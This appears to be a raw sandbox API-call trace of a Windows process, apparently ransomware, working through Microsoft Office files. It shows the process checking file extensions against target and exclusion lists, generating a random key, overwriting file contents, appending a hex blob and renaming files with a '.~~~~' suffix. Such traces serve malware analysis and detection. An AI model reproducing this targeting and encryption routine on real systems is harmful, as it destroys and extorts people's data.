	[0140.034] lstrlenW (lpString=".accdb") returned 6
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".accdb") returned 0x0
	[0140.034] lstrlenW (lpString=".DBX") returned 4
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DBX") returned 0x0
	[0140.034] lstrlenW (lpString=".MDT") returned 4
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".MDT") returned 0x0
	[0140.034] lstrlenW (lpString=".SQB") returned 4
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".SQB") returned 0x0
	[0140.034] lstrlenW (lpString=".vhd") returned 4
	[0140.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".vhd") returned 0x0
	[0140.035] lstrlenW (lpString=".bac") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".bac") returned 0x0
	[0140.035] lstrlenW (lpString=".mdf") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".mdf") returned 0x0
	[0140.035] lstrlenW (lpString=".BAK") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".BAK") returned 0x0
	[0140.035] lstrlenW (lpString=".BAC") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".BAC") returned 0x0
	[0140.035] lstrlenW (lpString=".dbs") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dbs") returned 0x0
	[0140.035] lstrlenW (lpString=".vhdx") returned 5
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".vhdx") returned 0x0
	[0140.035] lstrlenW (lpString=".NDF") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".NDF") returned 0x0
	[0140.035] lstrlenW (lpString=".dat") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dat") returned 0x0
	[0140.035] lstrlenW (lpString=".DBS") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DBS") returned 0x0
	[0140.035] lstrlenW (lpString=".CKP") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".CKP") returned 0x0
	[0140.035] lstrlenW (lpString=".edb") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".edb") returned 0x0
	[0140.035] lstrlenW (lpString=".PST") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".PST") returned 0x0
	[0140.035] lstrlenW (lpString=".dbf") returned 4
	[0140.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dbf") returned 0x0
	[0140.035] lstrlenW (lpString=".SQL") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".SQL") returned 0x0
	[0140.036] lstrlenW (lpString=".pst") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".pst") returned 0x0
	[0140.036] lstrlenW (lpString=".dbv") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dbv") returned 0x0
	[0140.036] lstrlenW (lpString=".SDF") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".SDF") returned 0x0
	[0140.036] lstrlenW (lpString=".dtxs") returned 5
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dtxs") returned 0x0
	[0140.036] lstrlenW (lpString=".db3") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".db3") returned 0x0
	[0140.036] lstrlenW (lpString=".OST") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".OST") returned 0x0
	[0140.036] lstrlenW (lpString=".dbx") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dbx") returned 0x0
	[0140.036] lstrlenW (lpString=".DB3") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DB3") returned 0x0
	[0140.036] lstrlenW (lpString=".DAT") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DAT") returned 0x0
	[0140.036] lstrlenW (lpString=".VHDX") returned 5
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".VHDX") returned 0x0
	[0140.036] lstrlenW (lpString=".ndf") returned 4
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".ndf") returned 0x0
	[0140.036] lstrlenW (lpString=".DB") returned 3
	[0140.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DB") returned 0x0
	[0140.036] lstrlenW (lpString=".sql") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".sql") returned 0x0
	[0140.037] lstrlenW (lpString=".MYD") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".MYD") returned 0x0
	[0140.037] lstrlenW (lpString=".DBT") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DBT") returned 0x0
	[0140.037] lstrlenW (lpString=".ACCDB") returned 6
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.037] lstrlenW (lpString=".fdb") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".fdb") returned 0x0
	[0140.037] lstrlenW (lpString=".bak") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".bak") returned 0x0
	[0140.037] lstrlenW (lpString=".myd") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".myd") returned 0x0
	[0140.037] lstrlenW (lpString=".DTXS") returned 5
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".DTXS") returned 0x0
	[0140.037] lstrlenW (lpString=".ckp") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".ckp") returned 0x0
	[0140.037] lstrlenW (lpString=".dbt") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".dbt") returned 0x0
	[0140.037] lstrlenW (lpString=".db") returned 3
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".db") returned 0x0
	[0140.037] lstrlenW (lpString=".TXT") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".TXT") returned 0x0
	[0140.037] lstrlenW (lpString=".MDF") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".MDF") returned 0x0
	[0140.037] lstrlenW (lpString=".bdb") returned 4
	[0140.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".bdb") returned 0x0
	[0140.038] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.059] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.061] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.061] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.061] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26005100567) returned 1
	[0140.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbce53510, dwHighDateTime=0x1d60e1e)) 
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d650
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d650 | out: hHeap=0x300000) returned 1
	[0140.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e538
	[0140.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e538 | out: hHeap=0x300000) returned 1
	[0140.062] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.062] GetLastError () returned 0x0
	[0140.062] GetLastError () returned 0x0
	[0140.063] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.063] GetLastError () returned 0x0
	[0140.063] GetLastError () returned 0x0
	[0140.063] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.073] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.074] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.074] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.074] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.074] CloseHandle (hObject=0x114) returned 1
	[0140.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e538
	[0140.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css.~~~~")) returned 1
	[0140.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e538 | out: hHeap=0x300000) returned 1
	[0140.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.078] GetLastError () returned 0x0
	[0140.078] RtlWakeConditionVariable () returned 0x0
	[0140.078] GetCurrentThreadId () returned 0xaf0
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".scr") returned 0x0
	[0140.078] lstrlenW (lpString=".cmd") returned 4
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".cmd") returned 0x0
	[0140.078] lstrlenW (lpString=".dll") returned 4
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dll") returned 0x0
	[0140.078] lstrlenW (lpString=".bat") returned 4
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".bat") returned 0x0
	[0140.078] lstrlenW (lpString=".cpl") returned 4
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".cpl") returned 0x0
	[0140.078] lstrlenW (lpString=".sys") returned 4
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".sys") returned 0x0
	[0140.078] lstrlenW (lpString=".msc") returned 4
	[0140.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".msc") returned 0x0
	[0140.078] lstrlenW (lpString=".com") returned 4
	[0140.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".com") returned 0x0
	[0140.079] lstrlenW (lpString=".lnk") returned 4
	[0140.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".lnk") returned 0x0
	[0140.079] lstrlenW (lpString=".msp") returned 4
	[0140.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".msp") returned 0x0
	[0140.079] lstrlenW (lpString=".pif") returned 4
	[0140.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".pif") returned 0x0
	[0140.079] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0140.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.081] lstrlenW (lpString=".sqb") returned 4
	[0140.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".sqb") returned 0x0
	[0140.081] lstrlenW (lpString=".ost") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".ost") returned 0x0
	[0140.082] lstrlenW (lpString=".txt") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".txt") returned 0x0
	[0140.082] lstrlenW (lpString=".mdt") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".mdt") returned 0x0
	[0140.082] lstrlenW (lpString=".BDB") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".BDB") returned 0x0
	[0140.082] lstrlenW (lpString=".eql") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".eql") returned 0x0
	[0140.082] lstrlenW (lpString=".DBF") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DBF") returned 0x0
	[0140.082] lstrlenW (lpString=".EQL") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".EQL") returned 0x0
	[0140.082] lstrlenW (lpString=".FDB") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".FDB") returned 0x0
	[0140.082] lstrlenW (lpString=".EDB") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".EDB") returned 0x0
	[0140.082] lstrlenW (lpString=".DACPAC") returned 7
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.082] lstrlenW (lpString=".VHD") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".VHD") returned 0x0
	[0140.082] lstrlenW (lpString=".DBV") returned 4
	[0140.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DBV") returned 0x0
	[0140.083] lstrlenW (lpString=".dacpac") returned 7
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dacpac") returned 0x0
	[0140.083] lstrlenW (lpString=".sdf") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".sdf") returned 0x0
	[0140.083] lstrlenW (lpString=".accdb") returned 6
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".accdb") returned 0x0
	[0140.083] lstrlenW (lpString=".DBX") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DBX") returned 0x0
	[0140.083] lstrlenW (lpString=".MDT") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".MDT") returned 0x0
	[0140.083] lstrlenW (lpString=".SQB") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".SQB") returned 0x0
	[0140.083] lstrlenW (lpString=".vhd") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".vhd") returned 0x0
	[0140.083] lstrlenW (lpString=".bac") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".bac") returned 0x0
	[0140.083] lstrlenW (lpString=".mdf") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".mdf") returned 0x0
	[0140.083] lstrlenW (lpString=".BAK") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".BAK") returned 0x0
	[0140.083] lstrlenW (lpString=".BAC") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".BAC") returned 0x0
	[0140.083] lstrlenW (lpString=".dbs") returned 4
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dbs") returned 0x0
	[0140.083] lstrlenW (lpString=".vhdx") returned 5
	[0140.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".vhdx") returned 0x0
	[0140.084] lstrlenW (lpString=".NDF") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".NDF") returned 0x0
	[0140.084] lstrlenW (lpString=".dat") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dat") returned 0x0
	[0140.084] lstrlenW (lpString=".DBS") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DBS") returned 0x0
	[0140.084] lstrlenW (lpString=".CKP") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".CKP") returned 0x0
	[0140.084] lstrlenW (lpString=".edb") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".edb") returned 0x0
	[0140.084] lstrlenW (lpString=".PST") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".PST") returned 0x0
	[0140.084] lstrlenW (lpString=".dbf") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dbf") returned 0x0
	[0140.084] lstrlenW (lpString=".SQL") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".SQL") returned 0x0
	[0140.084] lstrlenW (lpString=".pst") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".pst") returned 0x0
	[0140.084] lstrlenW (lpString=".dbv") returned 4
